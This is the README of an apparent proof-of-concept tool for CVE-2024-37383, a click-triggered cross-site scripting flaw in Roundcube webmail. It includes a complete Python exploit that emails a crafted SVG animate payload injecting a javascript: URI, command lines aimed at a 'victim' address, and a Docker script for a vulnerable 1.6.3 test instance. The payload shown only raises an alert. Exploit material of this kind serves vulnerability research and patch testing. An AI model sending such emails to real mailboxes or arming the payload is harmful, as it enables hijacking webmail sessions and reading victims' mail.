Roundcube CVE-2024-37383 概念验证工具
本项目是针对 CVE-2024-37383 漏洞的概念验证工具。该漏洞存在于Roundcube邮件服务器中,是一种通过SVG动画属性实现的跨站脚本攻击。攻击者可以通过构造特制的HTML邮件内容,在受害者点击邮件中的恶意链接时触发JavaScript代码执行。
功能特性
- 漏洞利用脚本:提供Python脚本,可发送包含恶意SVG动画的HTML邮件
- 测试环境自动化:提供Docker脚本,快速搭建Roundcube 1.6.3测试环境
- 多种SMTP支持:兼容Gmail、GMX等多种邮件服务商的SMTP配置
- 点击触发XSS:通过SVG
<animate>标签的href属性注入恶意JavaScript代码 - 调试输出:邮件发送过程包含详细的SMTP通信日志,便于调试
安装指南
系统要求
- Python 3.6+
- Docker(用于搭建Roundcube测试环境)
- 有效的电子邮件账户及SMTP认证凭据
依赖安装
本项目依赖Python标准库,无需额外安装第三方包。
# 克隆仓库
git clone https://github.com/yourusername/CVE-2024-37383-POC.git
cd CVE-2024-37383-POC
# 验证Python环境
python3 --version
搭建Roundcube测试环境
使用提供的 start_roundcube.sh 脚本快速启动Roundcube容器:
chmod +x start_roundcube.sh
./start_roundcube.sh
脚本配置说明:
- Roundcube版本:1.6.3
- 本地访问端口:8080
- IMAP服务器:ssl://imap.gmx.com(端口993)
- SMTP服务器:mail.gmx.com(端口465)
访问 http://localhost:8080 即可使用Roundcube Web界面。
使用说明
基础用法
使用Gmail发送恶意邮件
python3 exploit.py -e your.email@gmail.com -p 'your_app_password' -t victim@roundcube.email
注意:使用Gmail时需要生成应用专用密码,不能直接使用账户登录密码。
使用自定义SMTP服务器发送
python3 exploit.py -e sender@example.com -p 'email_password' -t victim@roundcube.email -sh smtp.example.com -sp 587
命令行参数
| 参数 | 说明 | 必填 | 默认值 |
|---|---|---|---|
-e, --sender_email | 发送方邮箱地址 | 是 | 无 |
-p, --sender_password | 发送方邮箱密码/应用密码 | 是 | 无 |
-t, --recipient_email | 接收方邮箱地址 | 是 | 无 |
-sh, --smtp_host | SMTP服务器地址 | 否 | smtp.gmail.com |
-sp, --smtp_port | SMTP端口号 | 否 | 587 |
攻击流程
- 启动测试环境:运行
start_roundcube.sh启动Roundcube容器 - 发送恶意邮件:使用
exploit.py向测试邮箱发送特制邮件 - 触发漏洞:登录Roundcube Web界面,打开收到的邮件,点击邮件中的链接即可触发XSS弹窗
恶意邮件内容说明
发送的邮件包含纯文本和HTML两种格式。HTML部分包含如下恶意代码:
<svg>
<animate attributeName="href " values="javascript:alert('You are powned.')" href="#link" />
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
当用户点击 "Click me" 文本时,SVG动画会将链接指向 javascript:alert(...),从而执行恶意代码。
核心代码
漏洞利用脚本核心逻辑
import smtplib
import argparse
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
def send_malicious_email(args):
# 创建多部分邮件对象
msg = MIMEMultipart('alternative')
msg["From"] = args.sender_email
msg["To"] = args.recipient_email
msg["Subject"] = "CVE-2024-37383 Proof Of Concept"
# 纯文本备用内容
text = "Please use HTML view to see this email."
# XSS攻击载荷 - 通过SVG animate标签注入JavaScript
html = """\
<html>
<head></head>
<body>
<svg>
<animate attributeName="href " values="javascript:alert('You are powned.')" href="#link" />
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
</body>
</html>
"""
msg.attach(MIMEText(text, 'plain'))
msg.attach(MIMEText(html, 'html'))
# 建立SMTP连接并发送
server = smtplib.SMTP(args.smtp_host, args.smtp_port)
server.set_debuglevel(True) # 启用调试输出
server.starttls() # 启用TLS加密
server.login(args.sender_email, args.sender_password)
server.sendmail(args.sender_email, args.recipient_email, msg.as_string())
server.quit()
测试环境搭建脚本
#!/bin/bash
# Roundcube测试环境配置
ROUDCUBE_VERSION="1.6.3"
ROUDCUBE_PORT=8080
SMTP_PORT=465
SMTP_HOST=mail.gmx.com
IMAP_PORT=993
IMAP_ENDPOINT=ssl://imap.gmx.com
# 拉取Roundcube Docker镜像
docker pull roundcube/roundcubemail:$ROUDCUBE_VERSION-apache
# 启动容器,配置IMAP和SMTP参数
docker run \
-e ROUNDCUBEMAIL_DEFAULT_HOST=$IMAP_ENDPOINT \
-e ROUNDCUBEMAIL_DEFAULT_PORT=$IMAP_PORT \
-e ROUNDCUBEMAIL_SMTP_SERVER=$SMTP_HOST \
-e ROUNDCUBEMAIL_SMTP_PORT=$SMTP_PORT \
-p $ROUDCUBE_PORT:80 \
roundcube/roundcubemail:$ROUDCUBE_VERSION-apache
漏洞说明
CVE-2024-37383漏洞源于Roundcube对SVG动画属性 href 的清理不充分。攻击者可以通过 animate 标签的 attributeName 和 values 属性注入 javascript: 协议的URI,当用户点击SVG中的链接元素时,浏览器会执行注入的JavaScript代码。
影响版本:Roundcube 1.6.3及之前的特定版本
修复建议:升级到已修复该漏洞的Roundcube版本。 6HFtX5dABrKlqXeO5PUv/wRBsqzxmQ+MmY2eGHIUeOxLXxMYI+J0pr3nT74Wh9IM